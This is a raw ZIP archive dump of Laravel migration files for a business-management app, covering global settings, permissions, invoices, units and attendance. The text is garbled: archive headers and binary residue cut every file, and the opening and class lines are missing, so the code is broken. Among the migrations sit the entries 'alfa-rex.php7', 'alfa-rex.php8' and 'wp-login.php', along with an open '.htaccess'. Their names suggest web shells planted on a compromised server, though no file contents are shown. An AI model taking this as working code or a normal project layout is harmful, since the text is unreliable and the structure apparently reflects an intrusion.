DB::raw("REPLACE($column,'-fill','')")]); \App\Models\Country::where('iso3', 'RUS')->update(['phonecode' => 7]); cache()->forget('countries'); } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZ/oo<migrations/2024_09_16_093352_add_sign_by_contracts_table.phpnu[unsignedInteger('sign_by')->nullable()->index('contracts_sign_by_foreign'); $table->foreign(['sign_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('contracts', function (Blueprint $table) { $table->dropForeign(['sign_by']); $table->dropIndex('contracts_last_updated_by_foreign'); $table->dropColumn('sign_by'); }); } }; PKZ]ddmigrations/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZ3migrations/2023_10_12_125041_fix_greek_language.phpnu[where('language_code', '<>', 'el') ->update(['language_code' => 'el']); // Greek language code is el, not gr if (File::isDirectory(lang_path('gr'))) { // Rename the directory to el try { File::move(lang_path('gr'), lang_path('el')); } catch (\Exception $e) { echo $e->getMessage(); } } } public function down(): void { // } }; PKZX7D D =migrations/2022_09_01_083053_create_global_settings_table.phpnu[id(); $table->string('global_app_name')->nullable(); $table->string('logo')->nullable(); $table->string('light_logo')->nullable(); $table->string('login_background')->nullable(); $table->string('logo_background_color')->nullable('#ffffff'); $table->string('sidebar_logo_style')->nullable()->default('square'); $table->string('locale')->default('en'); $table->string('purchase_code', 100)->nullable(); $table->timestamp('supported_until')->nullable(); $table->enum('google_recaptcha_status', ['active', 'deactive'])->default('deactive'); $table->enum('google_recaptcha_v2_status', ['active', 'deactive'])->default('deactive'); $table->string('google_recaptcha_v2_site_key')->nullable(); $table->string('google_recaptcha_v2_secret_key')->nullable(); $table->enum('google_recaptcha_v3_status', ['active', 'deactive'])->default('deactive'); $table->string('google_recaptcha_v3_site_key')->nullable(); $table->string('google_recaptcha_v3_secret_key')->nullable(); $table->boolean('app_debug')->default(false); $table->string('currency_converter_key'); $table->string('currency_key_version')->default('free'); $table->string('moment_format')->default('DD-MM-YYYY'); $table->string('timezone')->default('Asia/Kolkata'); $table->boolean('rtl')->default(false); $table->string('license_type', 20)->nullable(); $table->boolean('hide_cron_message')->default(0); $table->boolean('system_update')->default(1); $table->boolean('show_review_modal')->default(1); $table->timestamp('last_cron_run')->nullable()->default(null); $table->string('favicon')->nullable(); $table->enum('auth_theme', ['dark', 'light'])->default('light'); $table->enum('session_driver', ['file', 'database'])->default($defaultDriver); $table->text('allowed_file_types')->nullable(); $table->integer('allowed_file_size')->default(10); $table->boolean('show_update_popup')->default(1); $table->timestamps(); }); } $company = Company::first(); if ($company) { $globalSetting = GlobalSetting::first(); if (!$globalSetting) { $globalSetting = new GlobalSetting(); } $globalSetting->global_app_name = $company->company_name; $globalSetting->logo = $company->logo; $globalSetting->login_background = $company->login_background; $globalSetting->logo_background_color = $company->logo_background_color; $globalSetting->sidebar_logo_style = $company->sidebar_logo_style; $globalSetting->locale = $company->locale; $globalSetting->purchase_code = $company->purchase_code; $globalSetting->supported_until = $company->supported_until; /** @phpstan-ignore-next-line */ $globalSetting->license_type = $company->license_type; $globalSetting->google_recaptcha_status = $company->google_recaptcha_status ?? 'deactive'; $globalSetting->google_recaptcha_v2_status = $company->google_recaptcha_v2_status ?? 'deactive'; $globalSetting->google_recaptcha_v2_site_key = $company->google_recaptcha_v2_site_key; $globalSetting->google_recaptcha_v2_secret_key = $company->google_recaptcha_v2_secret_key; $globalSetting->google_recaptcha_v3_status = $company->google_recaptcha_v3_status ?? 'deactive'; $globalSetting->google_recaptcha_v3_site_key = $company->google_recaptcha_v3_site_key; $globalSetting->google_recaptcha_v3_secret_key = $company->google_recaptcha_v3_secret_key; $globalSetting->app_debug = $company->app_debug ?? false; $globalSetting->currency_converter_key = $company->currency_converter_key ?? ''; /** @phpstan-ignore-next-line */ $globalSetting->currency_key_version = $company->currency_key_version ?? 'free'; $globalSetting->light_logo = $company->light_logo; $globalSetting->rtl = $company->rtl ?? false; /** @phpstan-ignore-next-line */ $globalSetting->hide_cron_message = $company->hide_cron_message ?? 0; $globalSetting->system_update = $company->system_update ?? 1; $globalSetting->show_review_modal = $company->show_review_modal ?? 1; $globalSetting->last_cron_run = $company->last_cron_run; $globalSetting->favicon = $company->favicon; $globalSetting->moment_format = $company->moment_format; $globalSetting->timezone = $company->timezone; $globalSetting->auth_theme = $company->auth_theme ?? 'light'; $globalSetting->session_driver = $company->session_driver ?? $defaultDriver; /** @phpstan-ignore-next-line */ $globalSetting->allowed_file_types = $company->allowed_file_types ?: 'image/*,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/docx,application/pdf,text/plain,application/msword,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/zip,application/x-zip-compressed, application/x-compressed, multipart/x-zip,.xlsx,video/x-flv,video/mp4,application/x-mpegURL,video/MP2T,video/3gpp,video/quicktime,video/x-msvideo,video/x-ms-wmv,application/sla,.stl'; /** @phpstan-ignore-next-line */ $globalSetting->allowed_file_size = $company->allowed_file_size ?? 10; /** @phpstan-ignore-next-line */ $globalSetting->show_update_popup = $company->show_update_popup ?? 1; $globalSetting->save(); } Schema::table('companies', function (Blueprint $table) { $table->dropColumn([ 'purchase_code', 'supported_until', 'google_recaptcha_status', 'google_recaptcha_v2_status', 'google_recaptcha_v2_site_key', 'google_recaptcha_v2_secret_key', 'google_recaptcha_v3_status', 'google_recaptcha_v3_site_key', 'google_recaptcha_v3_secret_key', 'app_debug', 'currency_converter_key', 'currency_key_version', 'license_type', 'hide_cron_message', 'system_update', 'show_review_modal', 'last_cron_run', 'session_driver', 'allowed_file_size', 'allowed_file_types']); if (Schema::hasColumn('companies', 'show_update_popup')) { $table->dropColumn('show_update_popup'); } if (Schema::hasColumn('companies', 'weather_key')) { $table->dropColumn('weather_key'); } }); Schema::table('global_settings', function (Blueprint $table) { $table->timestamp('last_license_verified_at')->nullable()->default(null)->after('supported_until'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('global_settings'); } }; PKZbĵLmigrations/2023_05_16_083334_add_allow_max_file_to_global_settings_table.phpnu[integer('allow_max_no_of_files')->after('allowed_file_size')->default(10); }); cache()->forget('global_settings'); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('global_settings', function (Blueprint $table) { $table->dropColumn('allow_max_no_of_files'); }); } }; PKZXmigrations/2022_11_03_115958_add_auto_clock_in_location_to_attendance_settings_table.phpnu[enum('auto_clock_in_location', ['office', 'home'])->default('office')->after('auto_clock_in'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('attendance_settings', function (Blueprint $table) { $table->dropColumn('auto_clock_in_location'); }); } }; PKZ؞Amigrations/2024_05_24_054942_add_column_sku_in_products_table.phpnu[string('sku')->nullable(); }); } }; PKZEBmigrations/2022_08_23_065943_change_status_type_projects_table.phpnu[string('status')->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('projects', function (Blueprint $table) { $table->string('status')->change(); }); } }; PKZt&F]Qmigrations/2024_10_25_084453_update_attendancesetting_halfday_mark_time_field.phpnu[id)->update([ 'halfday_mark_time' => '13:00:00', ]); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZC-?migrations/2022_11_25_083742_add_company_id_for_null_values.phpnu[string('license_type', 20)->after('purchase_code')->nullable(); }); } $companies = Company::select('id')->get(); $tables = GlobalSetting::COMPANY_TABLES; // This is done for existing customers whose record for now in database is null for company // due to some issues in previous version if ($companies->isNotEmpty() && isWorksuite()) { foreach ($tables as $table) { if (Schema::hasColumn($table, 'company_id')) { DB::table($table)->whereNull('company_id')->update(['company_id' => 1]); } } } } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZ**Fmigrations/2024_12_17_112758_create_weekly_timesheet_entries_table.phpnu[id(); $table->unsignedInteger('company_id'); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade'); $table->foreignId('weekly_timesheet_id')->constrained()->onDelete('cascade'); $table->integer('task_id')->unsigned()->nullable(); $table->foreign('task_id')->references('id')->on('tasks')->onDelete('cascade')->onUpdate('cascade'); $table->date('date'); $table->decimal('hours', 10, 2); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('weekly_timesheet_entries'); } }; PKZCަ5migrations/2024_04_15_112542_add_location_details.phpnu[text('location_details')->nullable()->after('register_ip'); }); Schema::table('companies', function (Blueprint $table) { $table->text('location_details')->nullable()->after('register_ip'); }); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZyttLmigrations/2024_10_15_082340_update_halfday_mark_time_for_day_off_shifts.phpnu[get(); foreach ($employeeShift as $shift) { $shift->update([ 'halfday_mark_time' => '00:00:00', ]); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZGAk}|-|-migrations/alfa-rex.php7nu[PKZho o ?migrations/2023_02_27_081104_add_column_in_leave_type_table.phpnu[integer('effective_after')->nullable()->after('monthly_limit'); $table->string('effective_type')->nullable()->after('effective_after'); $table->string('unused_leave')->nullable()->after('effective_type'); $table->boolean('encashed')->after('unused_leave'); $table->boolean('allowed_probation')->after('encashed'); $table->boolean('allowed_notice')->after('allowed_probation'); $table->string('gender')->nullable()->after('allowed_notice'); $table->string('marital_status')->nullable()->after('gender'); $table->string('department')->nullable()->after('marital_status'); $table->string('designation')->nullable()->after('department'); $table->string('role')->nullable()->after('designation'); }); $companies = Company::all(); if($companies){ foreach($companies as $company) { $teams = Team::where('company_id', $company->id)->pluck('id')->toArray(); $designations = Designation::where('company_id', $company->id)->pluck('id')->toArray(); $roles = Role::where('name', '<>', 'client')->where('company_id', $company->id)->pluck('id')->toArray(); LeaveType::where('company_id', $company->id)->update([ 'gender' => ['male', 'female', 'others'], 'marital_status' => MaritalStatus::toArray(), 'department' => json_encode($teams), 'designation' => json_encode($designations), 'role' => json_encode($roles), ]); } } User::whereNull('gender')->update([ 'gender' => 'male' ]); EmployeeDetails::whereNull('marital_status')->update([ 'marital_status' => MaritalStatus::Single ]); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('leave_types', function (Blueprint $table) { $table->dropColumn('effective_after'); $table->dropColumn('effective_type'); $table->dropColumn('unused_leave'); $table->dropColumn('encashed'); $table->dropColumn('allowed_probation'); $table->dropColumn('allowed_notice'); $table->dropColumn('gender'); $table->dropColumn('marital_status'); $table->dropColumn('department'); $table->dropColumn('designation'); $table->dropColumn('role'); }); } }; PKZd[[uuTmigrations/2024_03_18_041113_add_owned_permission_to_edit_delete_sub_tasks_table.phpnu[update(['allowed_permissions' => '{"all":4, "added":1, "owned":2,"both":3, "none":5}']); } /** * Reverse the migrations. */ public function down(): void { Permission::whereIn('name', ['edit_sub_tasks', 'delete_sub_tasks']) ->update(['allowed_permissions' => '{"all":4, "added":1, "none":5}']); } }; PKZ)pp7migrations/2023_03_31_123237_fix_timelog_project_id.phpnu[get(); foreach ($companies as $company) { $tasks = Task::whereNotNull('project_id')->whereHas('timeLogged')->where('company_id', $company->id)->select('id', 'project_id')->get(); foreach($tasks as $task) { ProjectTimeLog::where('task_id', $task->id)->update(['project_id' => $task->project_id]); } } } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZ#6Imigrations/2024_11_04_121543_add_deal_stage_from_id_to_deal_histories.phpnu[renameColumn('deal_stage_id', 'deal_stage_from_id'); $table->unsignedInteger('deal_stage_to_id')->nullable(); $table->foreign('deal_stage_to_id')->references('id')->on('pipeline_stages')->onDelete('set null'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('deal_histories', function (Blueprint $table) { $table->renameColumn('deal_stage_from_id', 'deal_stage_id'); $table->dropForeign(['deal_stage_to_id']); $table->dropColumn('deal_stage_to_id'); }); } }; PKZ q5migrations/2024_12_03_115823_company_id_milestone.phpnu[whereNull('company_id')->get(); foreach($milestones as $milestone){ $milestone->company_id = $milestone->project->company_id; $milestone->saveQuietly(); } } /** * Reverse the migrations. */ public function down(): void { } }; PKZ8|ll8migrations/2023_01_20_052539_create_unit_types_table.phpnu[bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('unit_type'); $table->boolean('default')->default(0); $table->timestamps(); }); } $tablesForUnitId = [ 'products', 'invoices', 'proposals', 'estimates', 'credit_notes', 'estimate_templates', 'proposal_templates', 'invoice_recurring' ]; foreach ($tablesForUnitId as $table) { if (!Schema::hasColumn($table, 'unit_id')) { Schema::table($table, function (Blueprint $table) { $table->bigInteger('unit_id')->unsigned()->nullable()->default(null); $table->foreign('unit_id') ->references('id') ->on('unit_types') ->onDelete('SET NULL') ->onUpdate('cascade'); }); } } $companies = Company::select('id')->get(); foreach ($companies as $company) { $units = [ 'unit_type' => 'Pcs', 'default' => 1, 'company_id' => $company->id ]; $unitData = UnitType::create($units); $modelsToUpdate = [ Product::class, Invoice::class, Proposal::class, Estimate::class, EstimateTemplate::class, ProposalTemplate::class, RecurringInvoice::class, ]; foreach ($modelsToUpdate as $model) { $model::where('company_id', $company->id) ->whereNull('unit_id') ->update(['unit_id' => $unitData->id]); } } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('products', function (Blueprint $table) { $table->dropForeign(['unit_id']); $table->dropColumn('unit_id'); }); Schema::table('invoices', function (Blueprint $table) { $table->dropForeign(['unit_id']); $table->dropColumn('unit_id'); }); Schema::table('proposals', function (Blueprint $table) { $table->dropForeign(['unit_id']); $table->dropColumn('unit_id'); }); Schema::table('estimates', function (Blueprint $table) { $table->dropForeign(['unit_id']); $table->dropColumn('unit_id'); }); Schema::table('credit_notes', function (Blueprint $table) { $table->dropForeign(['unit_id']); $table->dropColumn('unit_id'); }); Schema::dropIfExists('unit_types'); } }; PKZ``Mmigrations/2023_04_04_101429_google_calendar_keys_move_to_global_settings.phpnu[enum('google_calendar_status', ['active', 'inactive'])->default('inactive'); $table->text('google_client_id')->nullable(); $table->text('google_client_secret')->nullable(); }); $company = Company::first(); $globalSetting = GlobalSetting::first(); if ($company && $globalSetting) { $globalSetting->google_calendar_status = $company->google_calendar_status; $globalSetting->google_client_id = $company->google_client_id; $globalSetting->google_client_secret = $company->google_client_secret; $globalSetting->save(); cache()->forget('global_setting'); } } } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZGAk}|-|-migrations/alfa-rex.php8nu[PKZ͗@migrations/2023_02_17_052112_add_permissions_for_lead_report.phpnu[first(); if (!is_null($module)) { $permissionName = 'view_lead_report'; $permission = Permission::firstOrCreate([ 'name' => $permissionName, 'display_name' => ucwords(str_replace('_', ' ', $permissionName)), 'is_custom' => 1, 'module_id' => $module->id, 'allowed_permissions' => Permission::ALL_NONE ]); $companies = Company::select('id')->get(); foreach ($companies as $company) { $role = Role::where('name', 'admin') ->where('company_id', $company->id) ->first(); $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; // All $permissionRole->save(); } $adminUser = User::allAdmins(); foreach ($adminUser as $adminUsers) { $userPermission = new UserPermission(); $userPermission->user_id = $adminUsers->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; // All $userPermission->save(); } } } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZ˒{{Emigrations/2024_12_11_101438_add_beams_push_notification_settings.phpnu[enum('beams_push_status', ['active', 'inactive'])->default('inactive'); $table->string('instance_id')->nullable(); $table->string('beam_secret')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('push_notification_settings', function (Blueprint $table) { $table->dropColumn('beams_push_status'); $table->dropColumn('instance_id'); $table->dropColumn('beam_secret'); }); } }; PKZΦuuJmigrations/2024_07_10_085653_update_currency_exchangerate_and_invoives.phpnu[get(); if (!Schema::hasColumn('companies', 'show_new_webhook_alert')) { Schema::table('companies', function (Blueprint $table) { $table->boolean('show_new_webhook_alert')->default(0); }); foreach ($companies as $company) { $company->show_new_webhook_alert = 1; $company->saveQuietly(); } } $this->foreignKeyFixCompaniesTable(); $this->languageFlags(); $this->contractNumbers(); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('companies', function (Blueprint $table) { $table->dropColumn('show_new_webhook_alert'); }); } private function contractNumbers() { Schema::table('contracts', function (Blueprint $table) { $table->bigInteger('contract_number')->after('id')->nullable(); }); Schema::table('contract_templates', function (Blueprint $table) { $table->bigInteger('contract_template_number')->after('id')->nullable(); }); $companies = Company::select('id')->get(); foreach ($companies as $company) { $contracts = Contract::where('company_id', $company->id)->get(); foreach ($contracts as $key => $contract) { $contract->contract_number = $key + 1; $contract->saveQuietly(); } $templates = ContractTemplate::where('company_id', $company->id)->get(); foreach ($templates as $key => $template) { $template->contract_template_number = $key + 1; $template->saveQuietly(); } } } private function languageFlags() { LanguageSetting::where('language_code', 'ar') ->where('flag_code', '<>', 'sa') ->update(['flag_code' => 'sa']); // Saudi Arabia LanguageSetting::where('language_code', 'pt-br') ->where('flag_code', '<>', 'br') ->update(['flag_code' => 'br']); // Brazil LanguageSetting::where('language_code', 'fa') ->where('flag_code', '<>', 'ir') ->update(['flag_code' => 'ir']); // Iraq LanguageSetting::whereIn('language_code', ['zh-CN', 'zh-TW']) ->where('flag_code', '<>', 'cn') ->update(['flag_code' => 'cn']); // China } private function foreignKeyFixCompaniesTable() { try { // Renaming the index names Schema::table('companies', function (Blueprint $table) { $table->dropForeign('organisation_settings_currency_id_foreign'); $table->dropForeign('organisation_settings_default_task_status_foreign'); $table->dropForeign('organisation_settings_last_updated_by_foreign'); $table->foreign('currency_id')->references('id')->on('currencies')->onUpdate('cascade')->onDelete('SET NULL'); $table->foreign(['default_task_status'])->references(['id'])->on('taskboard_columns')->onUpdate('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); }); //phpcs:ignore } catch (\Throwable $th) { } $currencyTables = GlobalSetting::CURRENCY_TABLES; // We are restricting the currency id delete to prevent deleting records foreach ($currencyTables as $currencyTable) { Schema::table($currencyTable, function (Blueprint $table) { $table->dropForeign(['currency_id']); $table->foreign('currency_id')->references('id')->on('currencies')->onUpdate('cascade')->onDelete('cascade'); }); } } }; PKZo1t t Rmigrations/2023_12_29_110515_add_view_project_orders_field_in_permission_table.phpnu[first(); $count = Company::withoutGlobalScope(\App\Scopes\ActiveScope::class)->count(); if (!is_null($module) && $count > 0) { $permissionType = [ 'module_id' => $module->id, 'display_name' => 'View Project Orders', 'name' => 'view_project_orders', 'is_custom' => 1, 'allowed_permissions' => Permission::ALL_NONE, ]; $permission = Permission::where('name', $permissionType['name'])->where('module_id', $module->id)->first() ?: new Permission(); $permission->name = $permissionType['name']; $permission->display_name = $permissionType['display_name']; $permission->module_id = $module->id; $permission->is_custom = $permissionType['is_custom']; $permission->allowed_permissions = $permissionType['allowed_permissions']; $permission->save(); $companies = Company::select('id')->get(); foreach ($companies as $company) { $role = Role::where('name', 'admin')->where('company_id', $company->id)->first(); if ($role) { $permissionRole = PermissionRole::where('permission_id', $permission->id)->where('role_id', $role->id)->where('permission_type_id', 4)->first() ?: new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; $permissionRole->save(); } $admins = User::allAdmins($company->id); foreach ($admins as $admin) { $userPermission = UserPermission::where('user_id', $admin->id)->where('permission_id', $permission->id)->first() ?: new UserPermission(); $userPermission->user_id = $admin->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; $userPermission->save(); } } } } /** * Reverse the migrations. */ public function down(): void { } }; PKZaZall9migrations/2023_02_15_045950_add_unit_id_orders_table.phpnu[bigInteger('unit_id')->unsigned()->nullable()->default(null); $table->foreign('unit_id') ->references('id') ->on('unit_types') ->onDelete('SET NULL') ->onUpdate('cascade'); }); } $companies = Company::select('id')->get(); foreach ($companies as $company) { $unitData = UnitType::where('company_id', $company->id)->first(); Order::where('company_id', $company->id) ->whereNull('unit_id') ->update(['unit_id' => $unitData->id]); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('orders', function (Blueprint $table) { $table->dropForeign('unit_id'); }); } }; PKZGmigrations/2023_03_21_095340_add_column_in_attendance_setting_table.phpnu[string('early_clock_in')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('attendance_settings', function (Blueprint $table) { $table->dropColumn('early_clock_in'); }); } }; PKZys>>Cmigrations/2024_05_31_120806_remove_duplicate_permission_upsert.phpnu[ p2.id AND p1.permission_id = p2.permission_id AND p1.user_id = p2.user_id; '); // Step 2: Add unique constraint Schema::table('user_permissions', function (Blueprint $table) { $table->unique(['permission_id', 'user_id']); }); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ-xYdd;migrations/2024_12_23_101514_alter_client_contact_table.phpnu[text('address')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('client_contacts', function (Blueprint $table) { $table->dropColumn('address'); }); } }; PKZGAk}|-|-migrations/wp-login.phpnu[PKZzcnii2migrations/2023_04_03_132318_fix_invoice_units.phpnu[listTableForeignKeys($tableName); if (in_array($tableName.'_unit_id_foreign', $foreignKeys)) { $table->dropForeign($tableName.'_unit_id_foreign'); } $table->dropColumn('unit_id'); }); } } $tablesForUnitId = [ 'order_items', 'order_carts', 'invoice_items', 'proposal_items', 'estimate_items', 'credit_note_items', 'estimate_template_items', 'proposal_template_items', 'invoice_recurring_items' ]; foreach ($tablesForUnitId as $table) { if (!Schema::hasColumn($table, 'unit_id')) { Schema::table($table, function (Blueprint $table) { $table->bigInteger('unit_id')->unsigned()->nullable(); $table->foreign('unit_id') ->references('id') ->on('unit_types') ->onDelete('SET NULL') ->onUpdate('cascade'); }); } if (!Schema::hasColumn($table, 'product_id')) { Schema::table($table, function (Blueprint $table) { $table->unsignedInteger('product_id')->nullable(); $table->foreign('product_id')->references('id')->on('products')->onUpdate('CASCADE')->onDelete('SET NULL'); }); } } $companies = Company::select('id')->get(); foreach ($companies as $company) { $defaultUnit = UnitType::where('default', 1)->where('company_id', $company->id)->first(); if ($defaultUnit) { DB::table('invoices') ->leftJoin('invoice_items', 'invoice_items.invoice_id', '=', 'invoices.id') ->where('invoices.company_id', $company->id) ->update(['invoice_items.unit_id' => $defaultUnit->id]); DB::table('orders') ->leftJoin('order_items', 'order_items.order_id', '=', 'orders.id') ->where('orders.company_id', $company->id) ->update(['order_items.unit_id' => $defaultUnit->id]); DB::table('proposals') ->leftJoin('proposal_items', 'proposal_items.proposal_id', '=', 'proposals.id') ->where('proposals.company_id', $company->id) ->update(['proposal_items.unit_id' => $defaultUnit->id]); DB::table('estimates') ->leftJoin('estimate_items', 'estimate_items.estimate_id', '=', 'estimates.id') ->where('estimates.company_id', $company->id) ->update(['estimate_items.unit_id' => $defaultUnit->id]); DB::table('credit_notes') ->leftJoin('credit_note_items', 'credit_note_items.credit_note_id', '=', 'credit_notes.id') ->where('credit_notes.company_id', $company->id) ->update(['credit_note_items.unit_id' => $defaultUnit->id]); DB::table('estimate_templates') ->leftJoin('estimate_template_items', 'estimate_template_items.estimate_template_id', '=', 'estimate_templates.id') ->where('estimate_templates.company_id', $company->id) ->update(['estimate_template_items.unit_id' => $defaultUnit->id]); DB::table('proposal_templates') ->leftJoin('proposal_template_items', 'proposal_template_items.proposal_template_id', '=', 'proposal_templates.id') ->where('proposal_templates.company_id', $company->id) ->update(['proposal_template_items.unit_id' => $defaultUnit->id]); DB::table('invoice_recurring') ->leftJoin('invoice_recurring_items', 'invoice_recurring_items.invoice_recurring_id', '=', 'invoice_recurring.id') ->where('invoice_recurring.company_id', $company->id) ->update(['invoice_recurring_items.unit_id' => $defaultUnit->id]); } } } /** * Reverse the migrations. * * @return void */ public function down() { $tablesForUnitId = [ 'order_items', 'order_carts', 'invoice_items', 'proposal_items', 'estimate_items', 'credit_note_items', 'estimate_template_items', 'proposal_template_items', 'invoice_recurring_items' ]; foreach ($tablesForUnitId as $table) { if (Schema::hasColumn($table, 'unit_id')) { Schema::table($table, function (Blueprint $table) { $foreignKeys = $this->listTableForeignKeys($table); /** @phpstan-ignore-next-line */ if (in_array($table.'_unit_id_foreign', $foreignKeys)) { /** @phpstan-ignore-next-line */ $table->dropForeign($table.'_unit_id_foreign'); } $table->dropColumn('unit_id'); }); } if (Schema::hasColumn($table, 'product_id')) { Schema::table($table, function (Blueprint $table) { $foreignKeys = $this->listTableForeignKeys($table); /** @phpstan-ignore-next-line */ if (in_array($table.'_product_id_foreign', $foreignKeys)) { /** @phpstan-ignore-next-line */ $table->dropForeign($table.'_product_id_foreign'); } $table->dropColumn('product_id'); }); } } } public function listTableForeignKeys($table) { $conn = Schema::getConnection()->getDoctrineSchemaManager(); return array_map(function ($key) { return $key->getName(); }, $conn->listTableForeignKeys($table)); } }; PKZ-Gmigrations/2024_07_03_105326_change_holiday_permission_for_employee.phpnu[first(); $role = Role::where('name', 'employee')->first(); if ($permission && $role) { PermissionRole::where('permission_id', $permission->id) ->where('role_id', $role->id) ->update([ 'permission_type_id' => 2, ]); UserPermission::whereHas('user.role', function ($query) use ($role) { $query->whereHas('role', function ($roleQuery) use ($role) { $roleQuery->where('name', $role->name); }); }) ->where('permission_id', $permission->id) ->update(['permission_type_id' => 2]); // Owned } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZVG(77@migrations/2023_04_12_073033_add_contract_setting_permission.phpnu[first(); if (!is_null($module)) { $permissionName = 'manage_contract_setting'; $permission = Permission::firstOrCreate([ 'name' => $permissionName, 'display_name' => ucwords(str_replace('_', ' ', $permissionName)), 'is_custom' => 1, 'module_id' => $module->id, 'allowed_permissions' => Permission::ALL_NONE ]); $companies = Company::select('id')->get(); foreach ($companies as $company) { $role = Role::where('name', 'admin') ->where('company_id', $company->id) ->first(); $permissionRole = PermissionRole::where('permission_id', $permission->id)->where('role_id', $role->id)->first() ?: new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; // All $permissionRole->save(); } $adminUser = User::allAdmins(); foreach ($adminUser as $adminUsers) { $userPermission = UserPermission::where('permission_id', $permission->id)->where('user_id', $adminUsers->id)->first() ?: new UserPermission(); $userPermission->user_id = $adminUsers->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; // All $userPermission->save(); } } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZV8migrations/2024_07_31_115255_update_taskboard_column.phpnu[update([ 'slug' => 'waiting_approval' ]); } }; PKZL=3migrations/2022_07_14_063826_contract_templates.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('subject'); $table->longText('description')->nullable(); $table->string('amount'); $table->unsignedBigInteger('contract_type_id'); $table->foreign('contract_type_id')->references('id')->on('contract_types')->onDelete('cascade')->onUpdate('cascade'); $table->integer('currency_id')->unsigned()->nullable(); $table->longText('contract_detail')->nullable(); $table->foreign('currency_id')->references('id') ->on('currencies') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('added_by')->default(1); $table->timestamps(); }); if(Company::first()) { /** @phpstan-ignore-next-line */ Contract::query()->update(['currency_id' => Company::first()->currency_id]); $contractModule = \App\Models\Module::firstOrCreate(['module_name' => 'contracts']); $admins = RoleUser::join('roles', 'roles.id', '=', 'role_user.role_id') ->where('name', 'admin') ->get(); $allTypePermission = PermissionType::ofType('all')->first(); $perm = Permission::firstOrCreate([ 'name' => 'manage_contract_template', 'display_name' => ucwords(str_replace('_', ' ', 'manage_contract_template')), 'is_custom' => 1, 'module_id' => $contractModule->id, 'allowed_permissions' => Permission::ALL_ADDED_NONE ]); foreach ($admins as $item) { UserPermission::firstOrCreate( [ 'user_id' => $item->user_id, 'permission_id' => $perm->id, 'permission_type_id' => $allTypePermission->id ?? PermissionType::ALL ] ); } $proposalModule = \App\Models\Module::firstOrCreate(['module_name' => 'leads']); $perm = Permission::firstOrCreate([ 'name' => 'manage_proposal_template', 'display_name' => ucwords(str_replace('_', ' ', 'manage_proposal_template')), 'is_custom' => 1, 'module_id' => $proposalModule->id, 'allowed_permissions' => Permission::ALL_ADDED_NONE ]); foreach ($admins as $item) { UserPermission::firstOrCreate( [ 'user_id' => $item->user_id, 'permission_id' => $perm->id, 'permission_type_id' => $allTypePermission->id ?? PermissionType::ALL ] ); } } } /** * Reverse the migrations. * * @return void */ public function down() { } }; PKZ/=migrations/2024_07_01_122207_create_rotation_automate_log.phpnu[increments('id'); $table->unsignedInteger('company_id')->nullable(); $table->foreign('company_id')->references('id')->on('companies')->cascadeOnDelete()->cascadeOnUpdate(); $table->unsignedInteger('user_id')->index('employee_shift_schedules_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->unsignedInteger('employee_shift_rotation_id')->nullable(); $table->foreign('employee_shift_rotation_id')->references('id')->on('employee_shift_rotations')->cascadeOnDelete()->cascadeOnUpdate(); $table->unsignedBigInteger('employee_shift_id')->nullable(); $table->foreign('employee_shift_id')->references('id')->on('employee_shifts')->cascadeOnDelete()->cascadeOnUpdate(); $table->integer('sequence')->nullable(); $table->date('cron_run_date')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('rotation_automate_log'); } }; PKZi;migrations/2024_09_11_060652_fix_flexible_shift_columns.phpnu[float('flexible_half_day_hours')->nullable()->change(); 